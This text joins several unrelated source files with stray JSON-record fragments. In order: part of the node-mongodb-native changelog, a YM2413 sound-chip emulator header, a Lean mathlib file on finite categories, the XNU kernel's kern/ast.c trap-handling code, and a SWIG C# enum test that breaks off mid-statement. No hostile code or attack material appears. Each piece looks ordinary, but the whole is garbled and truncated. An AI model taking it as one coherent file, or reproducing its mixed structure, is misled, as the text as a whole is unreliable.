BSON bug fixes for performance\n\n0.9.7.3-2 2012-01-02\n--------------------\n* Fixed up documentation to reflect the preferred way of instantiating bson types\n* GC bug fix for JS bson parser to avoid stop-and-go GC collection\n\n0.9.7.3-1 2012-01-02\n--------------------\n* Fix to make db.bson_serializer and db.bson_deserializer work as it did previously\n\n0.9.7.3 2011-12-30\n--------------------\n* Moved BSON_BINARY_SUBTYPE_DEFAULT from BSON object to Binary object and removed the BSON_BINARY_ prefixes\n* Removed Native BSON types, C++ parser uses JS types (faster due to cost of crossing the JS-C++ barrier for each call)\n* Added build fix for 0.4.X branch of Node.js where GetOwnPropertyNames is not defined in v8\n* Fix for wire protocol parser for corner situation where the message is larger than the maximum socket buffer in node.js (Issue #464, #461, #447)\n* Connection pool status set to connected on poolReady, isConnected returns false on anything but connected status (Issue #455)\n\n0.9.7.2-5 2011-12-22\n--------------------\n* Brand spanking new Streaming Cursor support Issue #458 (https://github.com/christkv/node-mongodb-native/pull/458) thanks to Mr Aaron Heckmann\n\n0.9.7.2-4 2011-12-21\n--------------------\n* Refactoring of callback code to work around performance regression on linux\n* Fixed group function to correctly use the command mode as default\n\n0.9.7.2-3 2011-12-18\n--------------------\n* Fixed error handling for findAndModify while still working for mongodb 1.8.6 (Issue #450).\n* Allow for force send query to primary, pass option (read:'primary') on find command.\n * ``find({a:1}, {read:'primary'}).toArray(function(err, items) {});``\n\n0.9.7.2-2 2011-12-16\n--------------------\n* Fixes infinite streamRecords QueryFailure fix when using Mongos (Issue #442)\n\n0.9.7.2-1 2011-12-16\n--------------------\n* ~10% perf improvement for ObjectId#toHexString (Issue #448, https://github.com/aheckmann)\n* Only using process.nextTick on errors emitted on callbacks not on all parsing, reduces number of ticks in the driver\n* Changed parsing off bson messages to use process.nextTick to do bson parsing in batches if the message is over 10K as to yield more time to the event look increasing concurrency on big mongoreply messages with multiple documents\n\n0.9.7.2 2011-12-15\n------------------\n* Added SSL support for future version of mongodb (VERY VERY EXPERIMENTAL)\n * pass in the ssl:true option to the server or replicaset server config to enable\n * a bug either in mongodb or node.js does not allow for more than 1 connection pr db instance (poolSize:1).\n* Added getTimestamp() method to objectID that returns a date object\n* Added finalize function to collection.group\n * function group (keys, condition, initial, reduce, finalize, command, callback)\n* Reaper no longer using setTimeout to handle reaping. Triggering is done in the general flow leading to predictable behavior.\n * reaperInterval, set interval for reaper (default 10000 miliseconds)\n * reaperTimeout, set timeout for calls (default 30000 miliseconds)\n * reaper, enable/disable reaper (default false)\n* Work around for issues with findAndModify during high concurrency load, insure that the behavior is the same across the 1.8.X branch and 2.X branch of MongoDb\n* Reworked multiple db's sharing same connection pool to behave correctly on error, timeout and close\n* EnsureIndex command can be executed without a callback (Issue #438)\n* Eval function no accepts options including nolock (Issue #432)\n * eval(code, parameters, options, callback) (where options = {nolock:true})\n\n0.9.7.1-4 2011-11-27\n--------------------\n* Replaced install.sh with install.js to install correctly on all supported os's\n\n0.9.7.1-3 2011-11-27\n--------------------\n* Fixes incorrect scope for ensureIndex error wrapping (Issue #419) https://github.com/ritch\n\n0.9.7.1-2 2011-11-27\n--------------------\n* Set statistical selection strategy as default for secondary choice.\n\n0.9.7.1-1 2011-11-27\n--------------------\n* Better handling of single server reconnect (fixes some bugs)\n* Better test coverage of single server failure\n* Correct handling of callbacks on replicaset servers when firewall dropping packets, correct reconnect\n\n0.9.7.1 2011-11-24\n------------------\n* Better handling of dead server for single server instances\n* FindOne and find treats selector == null as {}, Issue #403\n* Possible to pass in a strategy for the replicaset to pick secondary reader node\n * parameter strategy\n * ping (default), pings the servers and picks the one with the lowest ping time\n * statistical, measures each request and pick the one with the lowest mean and std deviation\n* Set replicaset read preference replicaset.setReadPreference()\n * Server.READ_PRIMARY (use primary server for reads)\n * Server.READ_SECONDARY (from a secondary server (uses the strategy set))\n * tags, {object of tags}\n* Added replay of commands issued to a closed connection when the connection is re-established\n* Fix isConnected and close on unopened connections. Issue #409, fix by (https://github.com/sethml)\n* Moved reaper to db.open instead of constructor (Issue #406)\n* Allows passing through of socket connection settings to Server or ReplSetServer under the option socketOptions\n * timeout = set seconds before connection times out (default 0)\n * noDelay = Disables the Nagle algorithm (default true)\n * keepAlive = Set if keepAlive is used (default 0, which means no keepAlive, set higher than 0 for keepAlive)\n * encoding = ['ascii', 'utf8', or 'base64'] (default null)\n* Fixes for handling of errors during shutdown off a socket connection\n* Correctly applies socket options including timeout\n* Cleanup of test management code to close connections correctly\n* Handle parser errors better, closing down the connection and emitting an error\n* Correctly emit errors from server.js only wrapping errors that are strings\n\n0.9.7 2011-11-10\n----------------\n* Added priority setting to replicaset manager\n* Added correct handling of passive servers in replicaset\n* Reworked socket code for simpler clearer handling\n* Correct handling of connections in test helpers\n* Added control of retries on failure\n * control with parameters retryMiliSeconds and numberOfRetries when creating a db instance\n* Added reaper that will timeout and cleanup queries that never return\n * control with parameters reaperInterval and reaperTimeout when creating a db instance\n* Refactored test helper classes for replicaset tests\n* Allows raw (no bson parser mode for insert, update, remove, find and findOne)\n * control raw mode passing in option raw:true on the commands\n * will return buffers with the binary bson objects\n* Fixed memory leak in cursor.toArray\n* Fixed bug in command creation for mongodb server with wrong scope of call\n* Added db(dbName) method to db.js to allow for reuse of connections against other databases\n* Serialization of functions in an object is off by default, override with parameter\n * serializeFunctions [true/false] on db level, collection level or individual insert/update/findAndModify\n* Added Long.fromString to c++ class and fixed minor bug in the code (Test case for $gt operator on 64-bit integers, Issue #394)\n* FindOne and find now share same code execution and will work in the same manner, Issue #399\n* Fix for tailable cursors, Issue #384\n* Fix for Cursor rewind broken, Issue #389\n* Allow Gridstore.exist to query using regexp, Issue #387, fix by (https://github.com/kaij)\n* Updated documentation on https://github.com/christkv/node-mongodb-native\n* Fixed toJSON methods across all objects for BSON, Binary return Base64 Encoded data\n\n0.9.6-22 2011-10-15\n-------------------\n* Fixed bug in js bson parser that could cause wrong object size on serialization, Issue #370\n* Fixed bug in findAndModify that did not throw error on replicaset timeout, Issue #373\n\n0.9.6-21 2011-10-05\n-------------------\n* Reworked reconnect code to work correctly\n* Handling errors in different parts of the code to ensure that it does not lock the connection\n* Consistent error handling for Object.createFromHexString for JS and C++\n\n0.9.6-20 2011-10-04\n-------------------\n* Reworked bson.js parser to get rid off Array.shift() due to it allocating new memory for each call. Speedup varies between 5-15% depending on doc\n* Reworked bson.cc to throw error when trying to serialize js bson types\n* Added MinKey, MaxKey and Double support for JS and C++ parser\n* Reworked socket handling code to emit errors on unparsable messages\n* Added logger option for Db class, lets you pass in a function in the shape\n {\n log : function(message, object) {},\n error : function(errorMessage, errorObject) {},\n debug : function(debugMessage, object) {},\n }\n\n Usage is new Db(new Server(..), {logger: loggerInstance})\n\n0.9.6-19 2011-09-29\n-------------------\n* Fixing compatibility issues between C++ bson parser and js parser\n* Added Symbol support to C++ parser\n* Fixed socket handling bug for seldom misaligned message from mongodb\n* Correctly handles serialization of functions using the C++ bson parser\n\n0.9.6-18 2011-09-22\n-------------------\n* Fixed bug in waitForConnection that would lead to 100% cpu usage, Issue #352\n\n0.9.6-17 2011-09-21\n-------------------\n* Fixed broken exception test causing bamboo to hang\n* Handling correctly command+lastError when both return results as in findAndModify, Issue #351\n\n0.9.6-16 2011-09-14\n-------------------\n* Fixing a bunch of issues with compatibility with MongoDB 2.0.X branch. Some fairly big changes in behavior from 1.8.X to 2.0.X on the server.\n* Error Connection MongoDB V2.0.0 with Auth=true, Issue #348\n\n0.9.6-15 2011-09-09\n-------------------\n* Fixed issue where pools would not be correctly cleaned up after an error, Issue #345\n* Fixed authentication issue with secondary servers in Replicaset, Issue #334\n* Duplicate replica-set servers when omitting port, Issue #341\n* Fixing findAndModify to correctly work with Replicasets ensuring proper error handling, Issue #336\n* Merged in code from (https://github.com/aheckmann) that checks for global variable leaks\n\n0.9.6-14 2011-09-05\n-------------------\n* Minor fixes for error handling in cursor streaming (https://github.com/sethml), Issue #332\n* Minor doc fixes\n* Some more cursor sort tests added, Issue #333\n* Fixes to work with 0.5.X branch\n* Fix Db not removing reconnect listener from serverConfig, (https://github.com/sbrekken), Issue #337\n* Removed node_events.h includes (https://github.com/jannehietamaki), Issue #339\n* Implement correct safe/strict mode for findAndModify.\n\n0.9.6-13 2011-08-24\n-------------------\n* Db names correctly error checked for illegal characters\n\n0.9.6-12 2011-08-24\n-------------------\n* Nasty bug in GridFS if you changed the default chunk size\n* Fixed error handling bug in findOne\n\n0.9.6-11 2011-08-23\n-------------------\n* Timeout option not correctly making it to the cursor, Issue #320, Fix from (https://github.com/year2013)\n* Fixes for memory leaks when using buffers and C++ parser\n* Fixes to make tests pass on 0.5.X\n* Cleanup of bson.js to remove duplicated code paths\n* Fix for errors occurring in ensureIndex, Issue #326\n* Removing require.paths to make tests work with the 0.5.X branch\n\n0.9.6-10 2011-08-11\n-------------------\n* Specific type Double for capped collections (https://github.com/mbostock), Issue #312\n* Decorating Errors with all all object info from Mongo (https://github.com/laurie71), Issue #308\n* Implementing fixes for mongodb 1.9.1 and higher to make tests pass\n* Admin validateCollection now takes an options argument for you to pass in full option\n* Implemented keepGoing parameter for mongodb 1.9.1 or higher, Issue #310\n* Added test for read_secondary count issue, merged in fix from (https://github.com/year2013), Issue #317\n\n0.9.6-9\n-------\n* Bug fix for bson parsing the key '':'' correctly without crashing\n\n0.9.6-8\n-------\n* Changed to using node.js crypto library MD5 digest\n* Connect method support documented mongodb: syntax by (https://github.com/sethml)\n* Support Symbol type for BSON, serializes to it's own type Symbol, Issue #302, #288\n* Code object without scope serializing to correct BSON type\n* Lot's of fixes to avoid double callbacks (https://github.com/aheckmann) Issue #304\n* Long deserializes as Number for values in the range -2^53 to 2^53, Issue #305 (https://github.com/sethml)\n* Fixed C++ parser to reflect JS parser handling of long deserialization\n* Bson small optimizations\n\n0.9.6-7 2011-07-13\n------------------\n* JS Bson deserialization bug #287\n\n0.9.6-6 2011-07-12\n------------------\n* FindAndModify not returning error message as other methods Issue #277\n* Added test coverage for $push, $pushAll and $inc atomic operations\n* Correct Error handling for non 12/24 bit ids on Pure JS ObjectID class Issue #276\n* Fixed terrible deserialization bug in js bson code #285\n* Fix by andrewjstone to avoid throwing errors when this.primary not defined\n\n0.9.6-5 2011-07-06\n------------------\n* Rewritten BSON js parser now faster than the C parser on my core2duo laptop\n* Added option full to indexInformation to get all index info Issue #265\n* Passing in ObjectID for new Gridstore works correctly Issue #272\n\n0.9.6-4 2011-07-01\n------------------\n* Added test and bug fix for insert/update/remove without callback supplied\n\n0.9.6-3 2011-07-01\n------------------\n* Added simple grid class called Grid with put, get, delete methods\n* Fixed writeBuffer/readBuffer methods on GridStore so they work correctly\n* Automatic handling of buffers when using write method on GridStore\n* GridStore now accepts a ObjectID instead of file name for write and read methods\n* GridStore.list accepts id option to return of file ids instead of filenames\n* GridStore close method returns document for the file allowing user to reference _id field\n\n0.9.6-2 2011-06-30\n------------------\n* Fixes for reconnect logic for server object (replays auth correctly)\n* More testcases for auth\n* Fixes in error handling for replicaset\n* Fixed bug with safe parameter that would fail to execute safe when passing w or wtimeout\n* Fixed slaveOk bug for findOne method\n* Implemented auth support for replicaset and test cases\n* Fixed error when not passing in rs_name\n\n0.9.6-1 2011-06-25\n------------------\n* Fixes for test to run properly using c++ bson parser\n* Fixes for dbref in native parser (correctly handles ref without db component)\n* Connection fixes for replicasets to avoid runtime conditions in cygwin (https://github.com/vincentcr)\n* Fixes for timestamp in js bson parser (distinct timestamp type now)\n\n0.9.6 2011-06-21\n----------------\n* Worked around npm version handling bug\n* Race condition fix for cygwin (https://github.com/vincentcr)\n\n0.9.5-1 2011-06-21\n------------------\n* Extracted Timestamp as separate class for bson js parser to avoid instanceof problems\n* Fixed driver strict mode issue\n\n0.9.5 2011-06-20\n----------------\n* Replicaset support (failover and reading from secondary servers)\n* Removed ServerPair and ServerCluster\n* Added connection pool functionality\n* Fixed serious bug in C++ bson parser where bytes > 127 would generate 2 byte sequences\n* Allows for forcing the server to assign ObjectID's using the option {forceServerObjectId: true}\n\n0.6.8\n-----\n* Removed multiple message concept from bson\n* Changed db.open(db) to be db.open(err, db)\n\n0.1 2010-01-30\n--------------\n* Initial release support of driver using native node.js interface\n* Supports gridfs specification\n* Supports admin functionality\n"} {"text": "#pragma once\n\n/* select output bits size of output : 8 or 16 */\n#define SAMPLE_BITS 16\n\n/* compiler dependence */\n//#ifndef __OSDCOMM_H__\n//#define __OSDCOMM_H__\n/*typedef unsigned char\tUINT8; // unsigned 8bit\ntypedef unsigned short\tUINT16; // unsigned 16bit\ntypedef unsigned int\tUINT32; // unsigned 32bit\ntypedef signed char\t\tINT8; // signed 8bit\ntypedef signed short\tINT16; // signed 16bit\ntypedef signed int\t\tINT32; // signed 32bit */\n//#endif\n\n//typedef INT32 stream_sample_t;\ntypedef stream_sample_t SAMP;\n/*\n#if (SAMPLE_BITS==16)\ntypedef INT16 SAMP;\n#endif\n#if (SAMPLE_BITS==8)\ntypedef INT8 SAMP;\n#endif\n*/\n\n\n\n//void *ym2413_init(const device_config *device, int clock, int rate);\nvoid *ym2413_init(int clock, int rate);\nvoid ym2413_shutdown(void *chip);\nvoid ym2413_reset_chip(void *chip);\nvoid ym2413_write(void *chip, int a, int v);\nunsigned char ym2413_read(void *chip, int a);\nvoid ym2413_update_one(void *chip, SAMP **buffers, int length);\n\ntypedef void (*OPLL_UPDATEHANDLER)(void *param,int min_interval_us);\n\nvoid ym2413_set_update_handler(void *chip, OPLL_UPDATEHANDLER UpdateHandler, void *param);\nvoid ym2413_set_mutemask(void* chip, UINT32 MuteMask);\nvoid ym2413_set_chip_mode(void* chip, UINT8 Mode);\nvoid ym2413_override_patches(void* chip, const UINT8* PatchDump);\n"} {"text": "/-\nCopyright (c) 2019 Scott Morrison. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\nAuthors: Scott Morrison\n-/\nimport data.fintype.basic\nimport category_theory.discrete_category\n\n/-!\n# Finite categories\n\nA category is finite in this sense if it has finitely many objects, and finitely many morphisms.\n\n## Implementation\n\nWe also ask for decidable equality of objects and morphisms, but it may be reasonable to just\ngo classical in future.\n-/\n\nuniverses v u\n\nnamespace category_theory\n\ninstance discrete_fintype {α : Type*} [fintype α] : fintype (discrete α) :=\nby { dsimp [discrete], apply_instance }\n\ninstance discrete_hom_fintype {α : Type*} [decidable_eq α] (X Y : discrete α) : fintype (X ⟶ Y) :=\nby { apply ulift.fintype }\n\n/-- A category with a `fintype` of objects, and a `fintype` for each morphism space. -/\nclass fin_category (J : Type v) [small_category J] :=\n(decidable_eq_obj : decidable_eq J . tactic.apply_instance)\n(fintype_obj : fintype J . tactic.apply_instance)\n(decidable_eq_hom : Π (j j' : J), decidable_eq (j ⟶ j') . tactic.apply_instance)\n(fintype_hom : Π (j j' : J), fintype (j ⟶ j') . tactic.apply_instance)\n\nattribute [instance] fin_category.decidable_eq_obj fin_category.fintype_obj\n fin_category.decidable_eq_hom fin_category.fintype_hom\n\n-- We need a `decidable_eq` instance here to construct `fintype` on the morphism spaces.\ninstance fin_category_discrete_of_decidable_fintype (J : Type v) [decidable_eq J] [fintype J] :\n fin_category (discrete J) :=\n{ }\n\nend category_theory\n"} {"text": "/*\n * Copyright (c) 2000-2017 Apple Inc. All rights reserved.\n *\n * @APPLE_OSREFERENCE_LICENSE_HEADER_START@\n * \n * This file contains Original Code and/or Modifications of Original Code\n * as defined in and that are subject to the Apple Public Source License\n * Version 2.0 (the 'License'). You may not use this file except in\n * compliance with the License. The rights granted to you under the License\n * may not be used to create, or enable the creation or redistribution of,\n * unlawful or unlicensed copies of an Apple operating system, or to\n * circumvent, violate, or enable the circumvention or violation of, any\n * terms of an Apple operating system software license agreement.\n * \n * Please obtain a copy of the License at\n * http://www.opensource.apple.com/apsl/ and read it before using this file.\n * \n * The Original Code and all software distributed under the License are\n * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\n * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\n * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\n * Please see the License for the specific language governing rights and\n * limitations under the License.\n * \n * @APPLE_OSREFERENCE_LICENSE_HEADER_END@\n */\n/*\n * @OSF_COPYRIGHT@\n */\n/* \n * Mach Operating System\n * Copyright (c) 1991,1990,1989,1988,1987 Carnegie Mellon University\n * All Rights Reserved.\n * \n * Permission to use, copy, modify and distribute this software and its\n * documentation is hereby granted, provided that both the copyright\n * notice and this permission notice appear in all copies of the\n * software, derivative works or modified versions, and any portions\n * thereof, and that both notices appear in supporting documentation.\n * \n * CARNEGIE MELLON ALLOWS FREE USE OF THIS SOFTWARE IN ITS \"AS IS\"\n * CONDITION. CARNEGIE MELLON DISCLAIMS ANY LIABILITY OF ANY KIND FOR\n * ANY DAMAGES WHATSOEVER RESULTING FROM THE USE OF THIS SOFTWARE.\n * \n * Carnegie Mellon requests users of this software to return to\n * \n * Software Distribution Coordinator or Software.Distribution@CS.CMU.EDU\n * School of Computer Science\n * Carnegie Mellon University\n * Pittsburgh PA 15213-3890\n * \n * any improvements or extensions that they make and grant Carnegie Mellon\n * the rights to redistribute these changes.\n */\n\n#include <kern/ast.h>\n#include <kern/counters.h>\n#include <kern/misc_protos.h>\n#include <kern/queue.h>\n#include <kern/sched_prim.h>\n#include <kern/thread.h>\n#include <kern/processor.h>\n#include <kern/spl.h>\n#include <kern/sfi.h>\n#if CONFIG_TELEMETRY\n#include <kern/telemetry.h>\n#endif\n#include <kern/waitq.h>\n#include <kern/ledger.h>\n#include <kern/machine.h>\n#include <kperf/kperf_kpc.h>\n#include <mach/policy.h>\n#include <security/mac_mach_internal.h> // for MACF AST hook\n#include <stdatomic.h>\n\nstatic void __attribute__((noinline, noreturn, disable_tail_calls))\nthread_preempted(__unused void* parameter, __unused wait_result_t result)\n{\n\t/*\n\t * We've been scheduled again after a userspace preemption,\n\t * try again to return to userspace.\n\t */\n\tthread_exception_return();\n}\n\n/*\n * AST_URGENT was detected while in kernel mode\n * Called with interrupts disabled, returns the same way\n * Must return to caller\n */\nvoid\nast_taken_kernel(void)\n{\n\tassert(ml_get_interrupts_enabled() == FALSE);\n\n\tthread_t thread = current_thread();\n\n\t/* Idle threads handle preemption themselves */\n\tif ((thread->state & TH_IDLE)) {\n\t\tast_off(AST_PREEMPTION);\n\t\treturn;\n\t}\n\n\t/*\n\t * It's possible for this to be called after AST_URGENT\n\t * has already been handled, due to races in enable_preemption\n\t */\n\tif (ast_peek(AST_URGENT) != AST_URGENT)\n\t\treturn;\n\n\t/*\n\t * Don't preempt if the thread is already preparing to block.\n\t * TODO: the thread can cheese this with clear_wait()\n\t */\n\tif (waitq_wait_possible(thread) == FALSE) {\n\t\t/* Consume AST_URGENT or the interrupt will call us again */\n\t\tast_consume(AST_URGENT);\n\t\treturn;\n\t}\n\n\t/* TODO: Should we csw_check again to notice if conditions have changed? */\n\n\tast_t urgent_reason = ast_consume(AST_PREEMPTION);\n\n\tassert(urgent_reason & AST_PREEMPT);\n\n\tcounter(c_ast_taken_block++);\n\n\tthread_block_reason(THREAD_CONTINUE_NULL, NULL, urgent_reason);\n\n\tassert(ml_get_interrupts_enabled() == FALSE);\n}\n\n/*\n * An AST flag was set while returning to user mode\n * Called with interrupts disabled, returns with interrupts enabled\n * May call continuation instead of returning\n */\nvoid\nast_taken_user(void)\n{\n\tassert(ml_get_interrupts_enabled() == FALSE);\n\n\tthread_t thread = current_thread();\n\n\t/* We are about to return to userspace, there must not be a pending wait */\n\tassert(waitq_wait_possible(thread));\n\tassert((thread->state & TH_IDLE) == 0);\n\n\t/* TODO: Add more 'return to userspace' assertions here */\n\n\t/*\n\t * If this thread was urgently preempted in userspace,\n\t * take the preemption before processing the ASTs.\n\t * The trap handler will call us again if we have more ASTs, so it's\n\t * safe to block in a continuation here.\n\t */\n\tif (ast_peek(AST_URGENT) == AST_URGENT) {\n\t\tast_t urgent_reason = ast_consume(AST_PREEMPTION);\n\n\t\tassert(urgent_reason & AST_PREEMPT);\n\n\t\t/* TODO: Should we csw_check again to notice if conditions have changed? */\n\n\t\tthread_block_reason(thread_preempted, NULL, urgent_reason);\n\t\t/* NOTREACHED */\n\t}\n\n\t/*\n\t * AST_KEVENT does not send an IPI when setting the ast for a thread running in parallel\n\t * on a different processor. Only the ast bit on the thread will be set.\n\t *\n\t * Force a propagate for concurrent updates without an IPI.\n\t */\n\tast_propagate(thread);\n\n\t/*\n\t * Consume all non-preemption processor ASTs matching reasons\n\t * because we're handling them here.\n\t *\n\t * If one of the AST handlers blocks in a continuation,\n\t * we'll reinstate the unserviced thread-level AST flags\n\t * from the thread to the processor on context switch.\n\t * If one of the AST handlers sets another AST,\n\t * the trap handler will call ast_taken_user again.\n\t *\n\t * We expect the AST handlers not to thread_exception_return\n\t * without an ast_propagate or context switch to reinstate\n\t * the per-processor ASTs.\n\t *\n\t * TODO: Why are AST_DTRACE and AST_KPERF not per-thread ASTs?\n\t */\n\tast_t reasons = ast_consume(AST_PER_THREAD | AST_KPERF | AST_DTRACE);\n\n\tml_set_interrupts_enabled(TRUE);\n\n#if CONFIG_DTRACE\n\tif (reasons & AST_DTRACE) {\n\t\tdtrace_ast();\n\t}\n#endif\n\n#ifdef MACH_BSD\n\tif (reasons & AST_BSD) {\n\t\tthread_ast_clear(thread, AST_BSD);\n\t\tbsd_ast(thread);\n\t}\n#endif\n\n#if CONFIG_MACF\n\tif (reasons & AST_MACF) {\n\t\tthread_ast_clear(thread, AST_MACF);\n\t\tmac_thread_userret(thread);\n\t}\n#endif\n\n\tif (reasons & AST_APC) {\n\t\tthread_ast_clear(thread, AST_APC);\n\t\tthread_apc_ast(thread);\n\t}\n\n\tif (reasons & AST_GUARD) {\n\t\tthread_ast_clear(thread, AST_GUARD);\n\t\tguard_ast(thread);\n\t}\n\n\tif (reasons & AST_LEDGER) {\n\t\tthread_ast_clear(thread, AST_LEDGER);\n\t\tledger_ast(thread);\n\t}\n\n\tif (reasons & AST_KPERF) {\n\t\tthread_ast_clear(thread, AST_KPERF);\n\t\tkperf_kpc_thread_ast(thread);\n\t}\n\n\tif (reasons & AST_KEVENT) {\n\t\tthread_ast_clear(thread, AST_KEVENT);\n\t\tuint16_t bits = atomic_exchange(&thread->kevent_ast_bits, 0);\n\t\tif (bits) kevent_ast(thread, bits);\n\t}\n\n#if CONFIG_TELEMETRY\n\tif (reasons & AST_TELEMETRY_ALL) {\n\t\tast_t telemetry_reasons = reasons & AST_TELEMETRY_ALL;\n\t\tthread_ast_clear(thread, AST_TELEMETRY_ALL);\n\t\ttelemetry_ast(thread, telemetry_reasons);\n\t}\n#endif\n\n\tspl_t s = splsched();\n\n#if CONFIG_SCHED_SFI\n\t/*\n\t * SFI is currently a per-processor AST, not a per-thread AST\n\t * TODO: SFI should be a per-thread AST\n\t */\n\tif (ast_consume(AST_SFI) == AST_SFI) {\n\t\tsfi_ast(thread);\n\t}\n#endif\n\n\t/* We are about to return to userspace, there must not be a pending wait */\n\tassert(waitq_wait_possible(thread));\n\n\t/*\n\t * We've handled all per-thread ASTs, time to handle non-urgent preemption.\n\t *\n\t * We delay reading the preemption bits until now in case the thread\n\t * blocks while handling per-thread ASTs.\n\t *\n\t * If one of the AST handlers had managed to set a new AST bit,\n\t * thread_exception_return will call ast_taken again.\n\t */\n\tast_t preemption_reasons = ast_consume(AST_PREEMPTION);\n\n\tif (preemption_reasons & AST_PREEMPT) {\n\t\t/* Conditions may have changed from when the AST_PREEMPT was originally set, so re-check. */\n\n\t\tthread_lock(thread);\n\t\tpreemption_reasons = csw_check(current_processor(), (preemption_reasons & AST_QUANTUM));\n\t\tthread_unlock(thread);\n\n#if CONFIG_SCHED_SFI\n\t\t/* csw_check might tell us that SFI is needed */\n\t\tif (preemption_reasons & AST_SFI) {\n\t\t\tsfi_ast(thread);\n\t\t}\n#endif\n\n\t\tif (preemption_reasons & AST_PREEMPT) {\n\t\t\tcounter(c_ast_taken_block++);\n\t\t\t/* switching to a continuation implicitly re-enables interrupts */\n\t\t\tthread_block_reason(thread_preempted, NULL, preemption_reasons);\n\t\t\t/* NOTREACHED */\n\t\t}\n\t}\n\n\tsplx(s);\n}\n\n/*\n * Handle preemption IPI or IPI in response to setting an AST flag\n * Triggered by cause_ast_check\n * Called at splsched\n */\nvoid\nast_check(processor_t processor)\n{\n\tif (processor->state != PROCESSOR_RUNNING &&\n\t processor->state != PROCESSOR_SHUTDOWN)\n\t\treturn;\n\n\tthread_t thread = processor->active_thread;\n\n\tassert(thread == current_thread());\n\n\tthread_lock(thread);\n\n\t/*\n\t * Propagate thread ast to processor.\n\t * (handles IPI in response to setting AST flag)\n\t */\n\tast_propagate(thread);\n\n\tboolean_t needs_callout = false;\n\tprocessor->current_pri = thread->sched_pri;\n\tprocessor->current_sfi_class = thread->sfi_class = sfi_thread_classify(thread);\n\tprocessor->current_recommended_pset_type = recommended_pset_type(thread);\n\tperfcontrol_class_t thread_class = thread_get_perfcontrol_class(thread);\n\tif (thread_class != processor->current_perfctl_class) {\n\t /* We updated the perfctl class of this thread from another core. \n\t * Since we dont do CLPC callouts from another core, do a callout\n\t * here to let CLPC know that the currently running thread has a new\n\t * class.\n\t */\n\t needs_callout = true;\n\t}\n\tprocessor->current_perfctl_class = thread_class;\n\n\tast_t preempt;\n\n\tif ((preempt = csw_check(processor, AST_NONE)) != AST_NONE)\n\t\tast_on(preempt);\n\n\tthread_unlock(thread);\n\n\tif (needs_callout) {\n\t machine_switch_perfcontrol_state_update(PERFCONTROL_ATTR_UPDATE,\n\t\t mach_approximate_time(), 0, thread);\n\t}\n}\n\n/*\n * Set AST flags on current processor\n * Called at splsched\n */\nvoid\nast_on(ast_t reasons)\n{\n\tast_t *pending_ast = ast_pending();\n\n\t*pending_ast |= reasons;\n}\n\n/*\n * Clear AST flags on current processor\n * Called at splsched\n */\nvoid\nast_off(ast_t reasons)\n{\n\tast_t *pending_ast = ast_pending();\n\n\t*pending_ast &= ~reasons;\n}\n\n/*\n * Consume the requested subset of the AST flags set on the processor\n * Return the bits that were set\n * Called at splsched\n */\nast_t\nast_consume(ast_t reasons)\n{\n\tast_t *pending_ast = ast_pending();\n\n\treasons &= *pending_ast;\n\t*pending_ast &= ~reasons;\n\n\treturn reasons;\n}\n\n/*\n * Read the requested subset of the AST flags set on the processor\n * Return the bits that were set, don't modify the processor\n * Called at splsched\n */\nast_t\nast_peek(ast_t reasons)\n{\n\tast_t *pending_ast = ast_pending();\n\n\treasons &= *pending_ast;\n\n\treturn reasons;\n}\n\n/*\n * Re-set current processor's per-thread AST flags to those set on thread\n * Called at splsched\n */\nvoid\nast_context(thread_t thread)\n{\n\tast_t *pending_ast = ast_pending();\n\n\t*pending_ast = ((*pending_ast & ~AST_PER_THREAD) | thread->ast);\n}\n\n/*\n * Propagate ASTs set on a thread to the current processor\n * Called at splsched\n */\nvoid\nast_propagate(thread_t thread)\n{\n\tast_on(thread->ast);\n}\n\nvoid\nast_dtrace_on(void)\n{\n\tast_on(AST_DTRACE);\n}\n\n\n"} {"text": "using System;\nusing enum_thorough_typesafeNamespace;\n\npublic class runme {\n static void Main() {\n {\n // Anonymous enums\n int i = enum_thorough_typesafe.AnonEnum1;\n if (enum_thorough_typesafe.ReallyAnInteger != 200) throw new Exception(\"Test Anon 1 failed\");\n i += enum_thorough_typesafe.AnonSpaceEnum1;\n i += AnonStruct.AnonStructEnum1;\n }\n {\n colour red = colour.red;\n enum_thorough_typesafe.colourTest1(red);\n enum_thorough_typesafe.colourTest2(red);\n enum_thorough_typesafe.colourTest3(red);\n enum_thorough_typesafe.colourTest4(red);\n enum_thorough_typesafe.myColour = red;\n }\n {\n SpeedClass s = new SpeedClass();\n SpeedClass.speed speed = SpeedClass.speed.slow;\n if (s.speedTest1(speed) != speed) throw new Exception(\"speedTest 1 failed\");\n if (s.speedTest2(speed) != speed) throw new Exception(\"speedTest 2 failed\");\n if (s.speedTest3(speed) != speed) throw new Exception(\"speedTest 3 failed\");\n if (s.speedTest4(speed) != speed) throw new Exception(\"speedTest 4 failed\");\n if (s.speedTest5(speed) != speed) throw new Exception(\"speedTest 5 failed\");\n if (s.speedTest6(speed) != speed) throw new Exception(\"speedTest 6 failed\");\n if (s.speedTest7(speed) != speed) throw new Exception(\"speedTest 7 failed\");\n if (s.speedTest8(speed) != speed) throw new Exception(\"speedTest 8 failed\");\n\n if (enum_thorough_typesafe.speedTest1(speed) != speed) throw new Exception(\"speedTest Global 1 failed\");\n if (enum_thorough_typesafe.speedTest2(speed) != speed) throw new Exception(\"speedTest Global 2 failed\");\n if (enum_thorough_typesafe.speedTest3(speed) != speed) throw new Exception(\"speedTest Global 3 failed\");\n if (enum_thorough_typesafe.speedTest4(speed) != speed) throw new Exception(\"speedTest Global 4 failed\");\n if (enum_thorough_typesafe.speedTest5(speed) != speed) throw new Exception(\"speedTest Global 5 failed\");\n }\n {\n SpeedClass s = new SpeedClass();\n SpeedClass.speed slow = SpeedClass.speed.slow;\n SpeedClass.speed lightning = SpeedClass.speed.lightning;\n\n if (s.mySpeedtd1 != slow) throw new Exception(\"mySpeedtd1 1 failed\");\n if (s.mySpeedtd1.swigValue != 10) throw new Exception(\"mySpeedtd1 2 failed\");\n\n s.mySpeedtd1 = lightning;\n if (s.mySpeedtd1 != lightning) throw new Exception(\"mySpeedtd1 3 failed\");\n if (s.mySpeedtd1.swigValue != 31) throw new Exception(\"mySpeedtd1 4 failed\");\n }\n {\n if (enum_thorough_typesafe.namedanonTest1(namedanon.NamedAnon2) != namedanon.NamedAnon2) throw new Exception(\"namedanonTest 